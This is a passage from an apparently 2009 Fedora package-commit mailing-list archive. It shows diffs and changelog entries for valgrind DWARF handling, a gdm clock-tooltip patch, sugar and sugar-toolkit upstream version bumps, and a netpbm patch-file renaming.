-@@ -884,7 +1190,7 @@ GXResult ML_(evaluate_trivial_GX)( GExpr
+@@ -829,12 +1067,15 @@ GXResult ML_(evaluate_trivial_GX)( GExpr
+          if (!badness)
+             badness = "trivial GExpr denotes register (2)";
+       }
+-      else {
++      else if (0) {
+          VG_(printf)(" ML_(evaluate_trivial_GX): unhandled:\n   ");
+          ML_(pp_GX)( gx );
+          VG_(printf)("\n");
+          tl_assert(0);
+       }
++      else
++         if (!badness)
++            badness = "non-trivial GExpr";
+ 
+       VG_(addToXA)( results, &thisResult );
+ 
+@@ -884,7 +1125,7 @@ GXResult ML_(evaluate_trivial_GX)( GExpr
  
     /* Well, we have success.  All subexpressions evaluated, and 
        they all agree.  Hurrah. */
@@ -415,7 +692,7 @@
     res.word = (UWord)mul->ul; /* NB: narrowing from ULong */
     VG_(deleteXA)( results );
     return res;
-@@ -896,6 +1202,8 @@ void ML_(pp_GXResult) ( GXResult res )
+@@ -896,6 +1137,8 @@ void ML_(pp_GXResult) ( GXResult res )
     switch (res.kind) {
        case GXR_Failure:
           VG_(printf)("GXR_Failure(%s)", (HChar*)res.word); break;
@@ -424,8 +701,8 @@
        case GXR_Value:
           VG_(printf)("GXR_Value(0x%lx)", res.word); break;
        case GXR_RegNo:
---- valgrind/coregrind/m_debuginfo/debuginfo.c.jj	2009-10-09 12:52:05.000000000 +0200
-+++ valgrind/coregrind/m_debuginfo/debuginfo.c	2009-10-13 14:55:45.000000000 +0200
+--- valgrind/coregrind/m_debuginfo/debuginfo.c.jj	2009-10-21 10:49:47.000000000 +0200
++++ valgrind/coregrind/m_debuginfo/debuginfo.c	2009-10-21 10:49:47.000000000 +0200
 @@ -2003,6 +2003,62 @@ static void cfsi_cache__invalidate ( voi
  }
  
@@ -534,8 +811,8 @@
                 if (0) VG_(printf)("FAIL\n");
                 continue;
              }
---- valgrind/coregrind/m_debuginfo/tytypes.c.jj	2009-10-09 12:52:05.000000000 +0200
-+++ valgrind/coregrind/m_debuginfo/tytypes.c	2009-10-13 13:52:57.000000000 +0200
+--- valgrind/coregrind/m_debuginfo/tytypes.c.jj	2009-08-19 15:37:44.000000000 +0200
++++ valgrind/coregrind/m_debuginfo/tytypes.c	2009-10-21 10:49:47.000000000 +0200
 @@ -766,7 +766,7 @@ XArray* /*UChar*/ ML_(describe_type)( /*
                    ML_(pp_GXResult)(res);
                    VG_(printf)("\n");


Index: valgrind.spec
===================================================================
RCS file: /cvs/pkgs/rpms/valgrind/F-12/valgrind.spec,v
retrieving revision 1.69
retrieving revision 1.70
diff -u -p -r1.69 -r1.70
--- valgrind.spec	14 Oct 2009 15:03:39 -0000	1.69
+++ valgrind.spec	21 Oct 2009 14:54:08 -0000	1.70
@@ -1,7 +1,7 @@
 Summary: Tool for finding memory management bugs in programs
 Name: valgrind
 Version: 3.5.0
-Release: 3
+Release: 4
 Epoch: 1
 Source0: http://www.valgrind.org/downloads/valgrind-%{version}.tar.bz2
 Patch1: valgrind-3.5.0-cachegrind-improvements.patch
@@ -12,6 +12,8 @@ Patch5: valgrind-3.5.0-inotify-init1.pat
 Patch6: valgrind-3.5.0-mmap-mprotect.patch
 Patch7: valgrind-3.5.0-dwarf3.patch
 Patch8: valgrind-3.5.0-pr40659.patch
+Patch9: valgrind-3.5.0-helgrind-race-supp.patch
+Patch10: valgrind-3.5.0-ppc-tests.patch
 License: GPLv2
 URL: http://www.valgrind.org/
 Group: Development/Debuggers
@@ -73,13 +75,15 @@ or valgrind plugins.
 %patch6 -p1
 %patch7 -p1
 %patch8 -p1
+%patch9 -p1
+%patch10 -p1
 
 %build
 %ifarch x86_64 ppc64
 # Ugly hack - libgcc 32-bit package might not be installed
 mkdir -p libgcc/32
-touch libgcc/32/libgcc_s.a
-touch libgcc/libgcc_s_32.a
+ar r libgcc/32/libgcc_s.a
+ar r libgcc/libgcc_s_32.a
 %configure CC="gcc -B `pwd`/libgcc/" GDB=%{_bindir}/gdb
 %else
 %configure GDB=%{_bindir}/gdb
@@ -158,6 +162,12 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/pkgconfig/*
 
 %changelog
+* Wed Oct 21 2009 Jakub Jelinek <jakub at redhat.com> 3.5.0-4
+- handle reading of .debug_frame in addition to .eh_frame
+- ignore unknown DWARF3 expressions in evaluate_trivial_GX
+- suppress helgrind race errors in helgrind's own mythread_wrapper
+- fix compilation of x86 tests on x86_64 and ppc tests
+
 * Wed Oct 14 2009 Jakub Jelinek <jakub at redhat.com> 3.5.0-3
 - handle many more DW_OP_* ops that GCC now uses
 - handle the more compact form of DW_AT_data_member_location



From rstrode at fedoraproject.org  Wed Oct 21 15:02:09 2009
From: rstrode at fedoraproject.org (Ray Strode)
Date: Wed, 21 Oct 2009 15:02:09 +0000 (UTC)
Subject: rpms/gdm/F-12 fix-clock.patch,NONE,1.1 gdm.spec,1.497,1.498
Message-ID: <20091021150209.234E511C00E8@cvs1.fedora.phx.redhat.com>

Author: rstrode

Update of /cvs/pkgs/rpms/gdm/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4806

Modified Files:
	gdm.spec 
Added Files:
	fix-clock.patch 
Log Message:
- Move date from panel to clock tooltip


fix-clock.patch:
 gdm-clock-widget.c |   98 ++++++++++++++++++++++++++++++++++++-----------------
 1 file changed, 67 insertions(+), 31 deletions(-)

--- NEW FILE fix-clock.patch ---
>From 87248d5c3e0a90c3b0748c7be05a9e6eac231737 Mon Sep 17 00:00:00 2001
From: Ray Strode <rstrode at redhat.com>
Date: Wed, 21 Oct 2009 10:57:59 -0400
Subject: [PATCH] Move date to tooltip in panel clock

It's a bit long at the moment. Dropping the
date makes the screen look a little cleaner, and putting
the date in the tooltip makes it still available for those
people who want to see it.
---
 gui/simple-greeter/gdm-clock-widget.c |   97 +++++++++++++++++++++++----------
 1 files changed, 67 insertions(+), 30 deletions(-)

diff --git a/gui/simple-greeter/gdm-clock-widget.c b/gui/simple-greeter/gdm-clock-widget.c
index a3816d2..9008e6d 100644
--- a/gui/simple-greeter/gdm-clock-widget.c
+++ b/gui/simple-greeter/gdm-clock-widget.c
@@ -44,8 +44,10 @@ struct GdmClockWidgetPrivate
 {
         GtkWidget *label;
         char      *time_format;
+        char      *tooltip_format;
         guint      update_clock_id;
         guint      should_show_seconds : 1;
+        guint      should_show_date : 1;
 };
 
 static void     gdm_clock_widget_class_init  (GdmClockWidgetClass *klass);
@@ -55,38 +57,59 @@ static gboolean update_timeout_cb            (GdmClockWidget      *clock);
 
 G_DEFINE_TYPE (GdmClockWidget, gdm_clock_widget, GTK_TYPE_ALIGNMENT)
 
-static char *
-get_time_format (GdmClockWidget *clock)
+static void
+update_time_format (GdmClockWidget *clock)
 {
-        const char *time_format;
-        const char *date_format;
         char       *clock_format;
-        char       *result;
-
-        time_format = clock->priv->should_show_seconds ? _("%l:%M:%S %p") : _("%l:%M %p");
-        /* translators: replace %e with %d if, when the day of the
-         *              month as a decimal number is a single digit, it
-         *              should begin with a 0 in your locale (e.g. "May
-         *              01" instead of "May  1").
-         */
-        date_format = _("%a %b %e");
-        /* translators: reverse the order of these arguments
-         *              if the time should come before the
-         *              date on a clock in your locale.
-         */
-        clock_format = g_strdup_printf (_("%1$s, %2$s"),
-                                        date_format,
-                                        time_format);
-
-        result = g_locale_from_utf8 (clock_format, -1, NULL, NULL, NULL);
-        g_free (clock_format);
-
-        return result;
+        char       *tooltip_format;
+
+        if (clock->priv->should_show_date && clock->priv->should_show_seconds) {
+                /* translators: This is the time format to use when both
+                 * the date and time with seconds are being shown together.
+                 */
+                clock_format = _("%a %b %e, %l:%M:%S %p");
+                tooltip_format = NULL;
+        } else if (clock->priv->should_show_date && !clock->priv->should_show_seconds) {
+                /* translators: This is the time format to use when both
+                 * the date and time without seconds are being shown together.
+                 */
+                clock_format = _("%a %b %e, %l:%M %p");
+
+                tooltip_format = NULL;
+        } else if (!clock->priv->should_show_date && clock->priv->should_show_seconds) {
+                /* translators: This is the time format to use when there is
+                 * no date, just weekday and time with seconds.
+                 */
+                clock_format = _("%a %l:%M:%S %p");
+
+                /* translators: This is the time format to use for the date
+                 */
+                tooltip_format = _("%x");
+        } else {
+                /* translators: This is the time format to use when there is
+                 * no date, just weekday and time without seconds.
+                 */
+                clock_format = _("%a %l:%M %p");
+
+                tooltip_format = _("%x");
+        }
+
+        g_free (clock->priv->time_format);
+        clock->priv->time_format = g_locale_from_utf8 (clock_format, -1, NULL, NULL, NULL);
+
+        g_free (clock->priv->tooltip_format);
+
+        if (tooltip_format != NULL) {
+                clock->priv->tooltip_format = g_locale_from_utf8 (tooltip_format, -1, NULL, NULL, NULL);
+        } else {
+                clock->priv->tooltip_format = NULL;
+        }
 }
 
 static void
 update_clock (GtkLabel   *label,
-              const char *format)
+              const char *clock_format,
+              const char *tooltip_format)
 {
         time_t     t;
         struct tm *tm;
@@ -99,13 +122,25 @@ update_clock (GtkLabel   *label,
                 g_warning ("Unable to get broken down local time");
                 return;
         }
-        if (strftime (buf, sizeof (buf), format, tm) == 0) {
-                g_warning ("Couldn't format time: %s", format);
+        if (strftime (buf, sizeof (buf), clock_format, tm) == 0) {
+                g_warning ("Couldn't format time: %s", clock_format);
                 strcpy (buf, "???");
         }
         utf8 = g_locale_to_utf8 (buf, -1, NULL, NULL, NULL);
         gtk_label_set_text (label, utf8);
         g_free (utf8);
+
+        if (tooltip_format != NULL) {
+                if (strftime (buf, sizeof (buf), tooltip_format, tm) == 0) {
+                        g_warning ("Couldn't format tooltip date: %s", tooltip_format);
+                        strcpy (buf, "???");
+                }
+                utf8 = g_locale_to_utf8 (buf, -1, NULL, NULL, NULL);
+                gtk_widget_set_tooltip_text (GTK_WIDGET (label), utf8);
+                g_free (utf8);
+        } else {
+                gtk_widget_set_has_tooltip (GTK_WIDGET (label), FALSE);
+        }
 }
 
 static void
@@ -142,7 +177,8 @@ update_timeout_cb (GdmClockWidget *clock)
 
         if (clock->priv->label != NULL) {
                 update_clock (GTK_LABEL (clock->priv->label),
-                              clock->priv->time_format);
+                              clock->priv->time_format,
+                              clock->priv->tooltip_format);
         }
 
         set_clock_timeout (clock, new_time);
@@ -214,10 +250,11 @@ gdm_clock_widget_init (GdmClockWidget *widget)
         gtk_container_add (GTK_CONTAINER (widget), box);
 
         widget->priv->label = gtk_label_new ("");
+
         gtk_widget_show (widget->priv->label);
         gtk_box_pack_start (GTK_BOX (box), widget->priv->label, FALSE, FALSE, 0);
 
-        widget->priv->time_format = get_time_format (widget);
+        update_time_format (widget);
         update_timeout_cb (widget);
 }
 
-- 
1.6.5.rc2



Index: gdm.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gdm/F-12/gdm.spec,v
retrieving revision 1.497
retrieving revision 1.498
diff -u -p -r1.497 -r1.498
--- gdm.spec	20 Oct 2009 23:45:00 -0000	1.497
+++ gdm.spec	21 Oct 2009 15:02:08 -0000	1.498
@@ -16,7 +16,7 @@
 Summary: The GNOME Display Manager
 Name: gdm
 Version: 2.28.1
-Release: 2%{?dist}
+Release: 3%{?dist}
 Epoch: 1
 License: GPLv2+
 Group: User Interface/X
@@ -102,6 +102,7 @@ Patch13: gdm-system-keyboard.patch
 
 Patch19: gdm-multistack.patch
 Patch20: gdm-2.28.1-move-shutdown-functions.patch
+Patch21: fix-clock.patch
 
 # Fedora-specific
 Patch98: gdm-bubble-location.patch
@@ -148,6 +149,7 @@ The GDM fingerprint plugin provides func
 
 %patch19 -p1 -b .multistack
 %patch20 -p1 -b .move-shutdown-functions
+%patch21 -p1 -b .fix-clock
 
 %patch98 -p1 -b .bubble-location
 %patch99 -p1 -b .fedora-logo
@@ -399,6 +401,9 @@ fi
 %{_libdir}/gdm/simple-greeter/plugins/fingerprint.so
 
 %changelog
+* Wed Oct 21 2009 Ray Strode <rstrode at redhat.com> 2.28.1-3
+- Move date from panel to clock tooltip
+
 * Tue Oct 20 2009 Ray Strode <rstrode at redhat.com> 2.28.1-2
 - Move shutdown functions to panel from login window
 



From sdz at fedoraproject.org  Wed Oct 21 15:06:34 2009
From: sdz at fedoraproject.org (Sebastian Dziallas)
Date: Wed, 21 Oct 2009 15:06:34 +0000 (UTC)
Subject: rpms/sugar-toolkit/devel .cvsignore, 1.40, 1.41 sources, 1.44,
	1.45 sugar-toolkit.spec, 1.58, 1.59
Message-ID: <20091021150634.EF4C811C00E8@cvs1.fedora.phx.redhat.com>

Author: sdz

Update of /cvs/pkgs/rpms/sugar-toolkit/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5826

Modified Files:
	.cvsignore sources sugar-toolkit.spec 
Log Message:
update to new upstream release



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/sugar-toolkit/devel/.cvsignore,v
retrieving revision 1.40
retrieving revision 1.41
diff -u -p -r1.40 -r1.41
--- .cvsignore	27 Sep 2009 17:19:44 -0000	1.40
+++ .cvsignore	21 Oct 2009 15:06:34 -0000	1.41
@@ -1 +1 @@
-sugar-toolkit-0.86.0.tar.bz2
+sugar-toolkit-0.86.2.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/sugar-toolkit/devel/sources,v
retrieving revision 1.44
retrieving revision 1.45
diff -u -p -r1.44 -r1.45
--- sources	27 Sep 2009 17:19:44 -0000	1.44
+++ sources	21 Oct 2009 15:06:34 -0000	1.45
@@ -1 +1 @@
-56db1b52cabc49fe31eb2ddca7e116c6  sugar-toolkit-0.86.0.tar.bz2
+d6b5890cf7f4106423ba17917c69c816  sugar-toolkit-0.86.2.tar.bz2


Index: sugar-toolkit.spec
===================================================================
RCS file: /cvs/pkgs/rpms/sugar-toolkit/devel/sugar-toolkit.spec,v
retrieving revision 1.58
retrieving revision 1.59
diff -u -p -r1.58 -r1.59
--- sugar-toolkit.spec	13 Oct 2009 14:38:54 -0000	1.58
+++ sugar-toolkit.spec	21 Oct 2009 15:06:34 -0000	1.59
@@ -5,8 +5,8 @@
 
 Summary: Sugar toolkit
 Name: sugar-toolkit
-Version: 0.86.0
-Release: 3%{?dist}
+Version: 0.86.2
+Release: 1%{?dist}
 #Release: 2.%{alphatag}%{?dist}
 URL: http://wiki.laptop.org/go/Sugar
 # git clone git://dev.laptop.org/sugar
@@ -68,6 +68,9 @@ rm -rf %{buildroot}
 %{_sysconfdir}/rpm/macros.sugar
 
 %changelog
+* Wed Oct 21 2009 Sebastian Dziallas <sebastian at when.com> - 0.86.2-1
+- Do not stop processing motion-notify-event #1507
+
 * Tue Oct 13 2009 Tomeu Vizoso <tomeu at sugarlabs.org> - 0.86.0-3
 - Add unzip as a dependency
 



From jakub at fedoraproject.org  Wed Oct 21 15:07:26 2009
From: jakub at fedoraproject.org (Jakub Jelinek)
Date: Wed, 21 Oct 2009 15:07:26 +0000 (UTC)
Subject: rpms/valgrind/F-12 valgrind-3.5.0-dwarf3.patch,1.2,1.3
Message-ID: <20091021150726.7DB6E11C00E8@cvs1.fedora.phx.redhat.com>

Author: jakub

Update of /cvs/pkgs/rpms/valgrind/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6151

Modified Files:
	valgrind-3.5.0-dwarf3.patch 
Log Message:
3.5.0-4

valgrind-3.5.0-dwarf3.patch:
 d3basics.c       |  257 +++++++++++++++++++++++++++++++++++++++++++++++++++++--
 debuginfo.c      |   66 +++++++++++++-
 priv_d3basics.h  |   10 +-
 priv_readdwarf.h |    2 
 priv_storage.h   |    2 
 readdwarf.c      |  114 +++++++++++++++++-------
 readelf.c        |   11 ++
 storage.c        |    4 
 tytypes.c        |    2 
 9 files changed, 419 insertions(+), 49 deletions(-)

Index: valgrind-3.5.0-dwarf3.patch
===================================================================
RCS file: /cvs/pkgs/rpms/valgrind/F-12/valgrind-3.5.0-dwarf3.patch,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- valgrind-3.5.0-dwarf3.patch	21 Oct 2009 14:54:07 -0000	1.2
+++ valgrind-3.5.0-dwarf3.patch	21 Oct 2009 15:07:26 -0000	1.3
@@ -1,6 +1,14 @@
 --- valgrind/coregrind/m_debuginfo/readdwarf.c.jj	2009-08-19 15:37:44.000000000 +0200
 +++ valgrind/coregrind/m_debuginfo/readdwarf.c	2009-10-21 13:18:25.000000000 +0200
-@@ -3446,23 +3446,37 @@ static CIE the_CIEs[N_CIEs];
+@@ -37,6 +37,7 @@
+ #include "pub_core_libcprint.h"
+ #include "pub_core_options.h"
+ #include "pub_core_xarray.h"
++#include "pub_core_tooliface.h"    /* VG_(needs) */
+ #include "priv_misc.h"             /* dinfo_zalloc/free/strdup */
+ #include "priv_d3basics.h"
+ #include "priv_tytypes.h"
+@@ -3446,23 +3447,37 @@ static CIE the_CIEs[N_CIEs];
  
  
  void ML_(read_callframe_info_dwarf3)
@@ -44,7 +52,7 @@
        VG_(printf)("CFI info: name %s\n",
                    di->filename );
     }
-@@ -3495,11 +3509,11 @@ void ML_(read_callframe_info_dwarf3)
+@@ -3495,11 +3510,11 @@ void ML_(read_callframe_info_dwarf3)
        Bool   dw64;
  
        /* Are we done? */
@@ -58,7 +66,7 @@
           how = "overran the end of .eh_frame";
           goto bad;
        }
-@@ -3509,9 +3523,9 @@ void ML_(read_callframe_info_dwarf3)
+@@ -3509,9 +3524,9 @@ void ML_(read_callframe_info_dwarf3)
  
        ciefde_start = data;
        if (di->trace_cfi) 
@@ -70,7 +78,7 @@
  
        ciefde_len = (ULong) read_UInt(data); data += sizeof(UInt);
        if (di->trace_cfi) 
-@@ -3524,7 +3538,7 @@ void ML_(read_callframe_info_dwarf3)
+@@ -3524,7 +3539,7 @@ void ML_(read_callframe_info_dwarf3)
        if (ciefde_len == 0) {
           if (di->ddump_frames)
              VG_(printf)("%08lx ZERO terminator\n\n",
@@ -79,7 +87,7 @@
           return;
        }
  
-@@ -3550,8 +3564,10 @@ void ML_(read_callframe_info_dwarf3)
+@@ -3550,8 +3565,10 @@ void ML_(read_callframe_info_dwarf3)
        if (di->trace_cfi) 
           VG_(printf)("cie.pointer     = %lld\n", cie_pointer);
  
@@ -92,7 +100,7 @@
  
           Int    this_CIE;
           UChar  cie_version;
-@@ -3575,11 +3591,11 @@ void ML_(read_callframe_info_dwarf3)
+@@ -3575,11 +3592,11 @@ void ML_(read_callframe_info_dwarf3)
  
  	 /* Record its offset.  This is how we will find it again
              later when looking at an FDE. */
@@ -106,7 +114,7 @@
                          (Addr)ciefde_len,
                          (Addr)(UWord)cie_pointer );
  
-@@ -3623,8 +3639,13 @@ void ML_(read_callframe_info_dwarf3)
+@@ -3623,8 +3640,13 @@ void ML_(read_callframe_info_dwarf3)
              VG_(printf)("  Data alignment factor: %d\n",
                          (Int)the_CIEs[this_CIE].data_a_f);
  
@@ -122,7 +130,7 @@
           if (di->trace_cfi) 
              VG_(printf)("cie.ra_reg      = %d\n", 
                          the_CIEs[this_CIE].ra_reg);
-@@ -3702,7 +3723,7 @@ void ML_(read_callframe_info_dwarf3)
+@@ -3702,7 +3724,7 @@ void ML_(read_callframe_info_dwarf3)
  	 }
  
           if (the_CIEs[this_CIE].ilen < 0
@@ -131,7 +139,7 @@
              how = "implausible # cie initial insns";
              goto bad;
           }
-@@ -3717,8 +3738,8 @@ void ML_(read_callframe_info_dwarf3)
+@@ -3717,8 +3739,8 @@ void ML_(read_callframe_info_dwarf3)
           if (di->trace_cfi || di->ddump_frames) {
              AddressDecodingInfo adi;
              adi.encoding      = the_CIEs[this_CIE].address_encoding;
@@ -142,7 +150,7 @@
              adi.text_bias     = di->text_debug_bias;
              show_CF_instructions( the_CIEs[this_CIE].instrs, 
                                    the_CIEs[this_CIE].ilen, &adi,
-@@ -3747,9 +3768,12 @@ void ML_(read_callframe_info_dwarf3)
+@@ -3747,9 +3769,12 @@ void ML_(read_callframe_info_dwarf3)
              cie_pointer bytes back from here. */
  
           /* re sizeof(UInt) / sizeof(ULong), matches XXX above. */
@@ -158,7 +166,7 @@
  
           for (cie = 0; cie < n_CIEs; cie++) {
              if (0) VG_(printf)("look for %lld   %lld\n",
-@@ -3764,8 +3788,8 @@ void ML_(read_callframe_info_dwarf3)
+@@ -3764,8 +3789,8 @@ void ML_(read_callframe_info_dwarf3)
  	 }
  
           adi.encoding      = the_CIEs[cie].address_encoding;
@@ -169,7 +177,7 @@
           adi.text_bias     = di->text_debug_bias;
           fde_initloc = read_encoded_Addr(&nbytes, &adi, data);
           data += nbytes;
-@@ -3773,8 +3797,8 @@ void ML_(read_callframe_info_dwarf3)
+@@ -3773,8 +3798,8 @@ void ML_(read_callframe_info_dwarf3)
              VG_(printf)("fde.initloc     = %#lx\n", fde_initloc);
  
           adi.encoding      = the_CIEs[cie].address_encoding & 0xf;
@@ -180,7 +188,7 @@
           adi.text_bias     = di->text_debug_bias;
  
           /* WAS (incorrectly):
-@@ -3800,7 +3824,7 @@ void ML_(read_callframe_info_dwarf3)
+@@ -3800,7 +3825,7 @@ void ML_(read_callframe_info_dwarf3)
  
           if (di->ddump_frames)
              VG_(printf)("%08lx %08lx %08lx FDE cie=%08lx pc=%08lx..%08lx\n",
@@ -189,7 +197,7 @@
                          (Addr)ciefde_len,
                          (Addr)(UWord)cie_pointer,
                          (Addr)look_for, 
-@@ -3827,16 +3851,43 @@ void ML_(read_callframe_info_dwarf3)
+@@ -3827,16 +3852,43 @@ void ML_(read_callframe_info_dwarf3)
              VG_(printf)("fde.ilen        = %d\n", (Int)fde_ilen);
  	 }
  



From sdz at fedoraproject.org  Wed Oct 21 15:07:22 2009
From: sdz at fedoraproject.org (Sebastian Dziallas)
Date: Wed, 21 Oct 2009 15:07:22 +0000 (UTC)
Subject: rpms/sugar-toolkit/F-12 .cvsignore, 1.41, 1.42 sources, 1.45,
	1.46 sugar-toolkit.spec, 1.59, 1.60
Message-ID: <20091021150722.AFECF11C00E8@cvs1.fedora.phx.redhat.com>

Author: sdz

Update of /cvs/pkgs/rpms/sugar-toolkit/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6072

Modified Files:
	.cvsignore sources sugar-toolkit.spec 
Log Message:
update to new upstream release



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/sugar-toolkit/F-12/.cvsignore,v
retrieving revision 1.41
retrieving revision 1.42
diff -u -p -r1.41 -r1.42
--- .cvsignore	1 Oct 2009 22:04:24 -0000	1.41
+++ .cvsignore	21 Oct 2009 15:07:22 -0000	1.42
@@ -1 +1 @@
-sugar-toolkit-0.86.1.tar.bz2
+sugar-toolkit-0.86.2.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/sugar-toolkit/F-12/sources,v
retrieving revision 1.45
retrieving revision 1.46
diff -u -p -r1.45 -r1.46
--- sources	1 Oct 2009 22:04:24 -0000	1.45
+++ sources	21 Oct 2009 15:07:22 -0000	1.46
@@ -1 +1 @@
-8a3e6ce8a20071f65b549351af700b4b  sugar-toolkit-0.86.1.tar.bz2
+d6b5890cf7f4106423ba17917c69c816  sugar-toolkit-0.86.2.tar.bz2


Index: sugar-toolkit.spec
===================================================================
RCS file: /cvs/pkgs/rpms/sugar-toolkit/F-12/sugar-toolkit.spec,v
retrieving revision 1.59
retrieving revision 1.60
diff -u -p -r1.59 -r1.60
--- sugar-toolkit.spec	9 Oct 2009 20:11:17 -0000	1.59
+++ sugar-toolkit.spec	21 Oct 2009 15:07:22 -0000	1.60
@@ -5,8 +5,8 @@
 
 Summary: Sugar toolkit
 Name: sugar-toolkit
-Version: 0.86.1
-Release: 2%{?dist}
+Version: 0.86.2
+Release: 1%{?dist}
 #Release: 2.%{alphatag}%{?dist}
 URL: http://wiki.laptop.org/go/Sugar
 # git clone git://dev.laptop.org/sugar
@@ -67,6 +67,9 @@ rm -rf %{buildroot}
 %{_sysconfdir}/rpm/macros.sugar
 
 %changelog
+* Wed Oct 21 2009 Sebastian Dziallas <sebastian at when.com> - 0.86.2-1
+- Do not stop processing motion-notify-event #1507
+
 * Fri Oct 09 2009 Luke Macken <lmacken at redhat.com> - 0.86.1-2
 - Remove python-json requirement, which is now provided by Python 2.6
 



From sdz at fedoraproject.org  Wed Oct 21 15:10:58 2009
From: sdz at fedoraproject.org (Sebastian Dziallas)
Date: Wed, 21 Oct 2009 15:10:58 +0000 (UTC)
Subject: rpms/sugar/devel .cvsignore, 1.46, 1.47 sources, 1.48,
	1.49 sugar.spec, 1.74, 1.75
Message-ID: <20091021151058.5F54E11C02A6@cvs1.fedora.phx.redhat.com>

Author: sdz

Update of /cvs/pkgs/rpms/sugar/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7024

Modified Files:
	.cvsignore sources sugar.spec 
Log Message:
update to new upstream release



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/sugar/devel/.cvsignore,v
retrieving revision 1.46
retrieving revision 1.47
diff -u -p -r1.46 -r1.47
--- .cvsignore	27 Sep 2009 17:29:03 -0000	1.46
+++ .cvsignore	21 Oct 2009 15:10:57 -0000	1.47
@@ -1 +1 @@
-sugar-0.86.0.tar.bz2
+sugar-0.86.3.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/sugar/devel/sources,v
retrieving revision 1.48
retrieving revision 1.49
diff -u -p -r1.48 -r1.49
--- sources	27 Sep 2009 17:29:04 -0000	1.48
+++ sources	21 Oct 2009 15:10:58 -0000	1.49
@@ -1 +1 @@
-ca3f9b617946f5f60e45121fcecbfead  sugar-0.86.0.tar.bz2
+3ba8a6133540bb1037396adf552af52f  sugar-0.86.3.tar.bz2


Index: sugar.spec
===================================================================
RCS file: /cvs/pkgs/rpms/sugar/devel/sugar.spec,v
retrieving revision 1.74
retrieving revision 1.75
diff -u -p -r1.74 -r1.75
--- sugar.spec	27 Sep 2009 17:29:04 -0000	1.74
+++ sugar.spec	21 Oct 2009 15:10:58 -0000	1.75
@@ -5,7 +5,7 @@
 
 Summary: Constructionist learning platform
 Name: sugar
-Version: 0.86.0
+Version: 0.86.3
 Release: 1%{?dist}
 #Release: 4.%{alphatag}%{?dist}
 URL: http://sugarlabs.org/
@@ -143,6 +143,11 @@ rm -rf %{buildroot}
 %{_datadir}/applications/sugar-emulator.desktop
 
 %changelog
+* Wed Oct 21 2009 Sebastian Dziallas <sebastian at when.com> - 0.86.3-1
+- Sporadic freezes while scrolling journal #1506
+- Suppress race condition with Journal appearing on sugar startup #1373
+- Alt+Space not working to show/hide the tray #1476
+
 * Sun Sep 27 2009 Sebastian Dziallas <sebastian at when.com> - 0.86.0-1
 - New upstream release
 



From jnovy at fedoraproject.org  Wed Oct 21 15:11:20 2009
From: jnovy at fedoraproject.org (Jindrich Novy)
Date: Wed, 21 Oct 2009 15:11:20 +0000 (UTC)
Subject: rpms/netpbm/devel netpbm-CAN-2005-2471.patch, NONE,
	1.1 netpbm-bmptopnm.patch, NONE, 1.1 netpbm-gcc4.patch, NONE,
	1.1 netpbm-glibc.patch, NONE, 1.1 netpbm-message.patch, NONE,
	1.1 netpbm-multilib.patch, NONE, 1.1 netpbm-nodoc.patch, NONE,
	1.1 netpbm-pamscale.patch, NONE, 1.1 netpbm-pnmdepth.patch, NONE,
	1.1 netpbm-pnmtofiasco-stdin.patch, NONE,
	1.1 netpbm-ppmtompeg.patch, NONE, 1.1 netpbm-security-code.patch,
	NONE, 1.1 netpbm-security-scripts.patch, NONE,
	1.1 netpbm-svgtopam.patch, NONE, 1.1 netpbm-time.patch, NONE,
	1.1 netpbm-xwdfix.patch, NONE, 1.1 netpbm.spec, 1.146,
	1.147 netpbm-10.17-time.patch, 1.1,
	NONE netpbm-10.19-message.patch, 1.2,
	NONE netpbm-10.22-security2.patch, 1.5,
	NONE netpbm-10.23-security.patch, 1.22,
	NONE netpbm-10.24-nodoc.patch, 1.1,
	NONE netpbm-10.27-bmptopnm.patch, 1.5,
	NONE netpbm-10.28-CAN-2005-2471.patch, 1.2,
	NONE netpbm-10.28-gcc4.patch, 1.2,
	NONE netpbm-10.31-xwdfix.patch, 1.2,
	NONE netpbm-10.32-pnmdepth.patch, 1.1,
	NONE netpbm-10.33-multilib.patch, 1.1,
	NONE netpbm-10.33-ppmtompeg.patch, 1.3,
	NONE netpbm-10.34-pamscale.patch, 1.1,
	NONE netpbm-10.35-64bitfix.patch, 1.1,
	NONE netpbm-10.35-gcc43.patch, 1.1,
	NONE netpbm-10.35-glibc.patch, 1.3,
	NONE netpbm-10.35-pnmmontagefix.patch, 1.1,
	NONE netpbm-10.35-pnmtofiasco-stdin.patch, 1.1,
	NONE netpbm-10.35-rgbtxt.patch, 1.1,
	NONE netpbm-10.35-svgtopam.patch, 1.3,
	NONE netpbm-9.24-strip.patch, 1.1, NONE
Message-ID: <20091021151120.D84F511C00E8@cvs1.fedora.phx.redhat.com>

Author: jnovy

Update of /cvs/pkgs/rpms/netpbm/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7195

Modified Files:
	netpbm.spec 
Added Files:
	netpbm-CAN-2005-2471.patch netpbm-bmptopnm.patch 
	netpbm-gcc4.patch netpbm-glibc.patch netpbm-message.patch 
	netpbm-multilib.patch netpbm-nodoc.patch netpbm-pamscale.patch 
	netpbm-pnmdepth.patch netpbm-pnmtofiasco-stdin.patch 
	netpbm-ppmtompeg.patch netpbm-security-code.patch 
	netpbm-security-scripts.patch netpbm-svgtopam.patch 
	netpbm-time.patch netpbm-xwdfix.patch 
Removed Files:
	netpbm-10.17-time.patch netpbm-10.19-message.patch 
	netpbm-10.22-security2.patch netpbm-10.23-security.patch 
	netpbm-10.24-nodoc.patch netpbm-10.27-bmptopnm.patch 
	netpbm-10.28-CAN-2005-2471.patch netpbm-10.28-gcc4.patch 
	netpbm-10.31-xwdfix.patch netpbm-10.32-pnmdepth.patch 
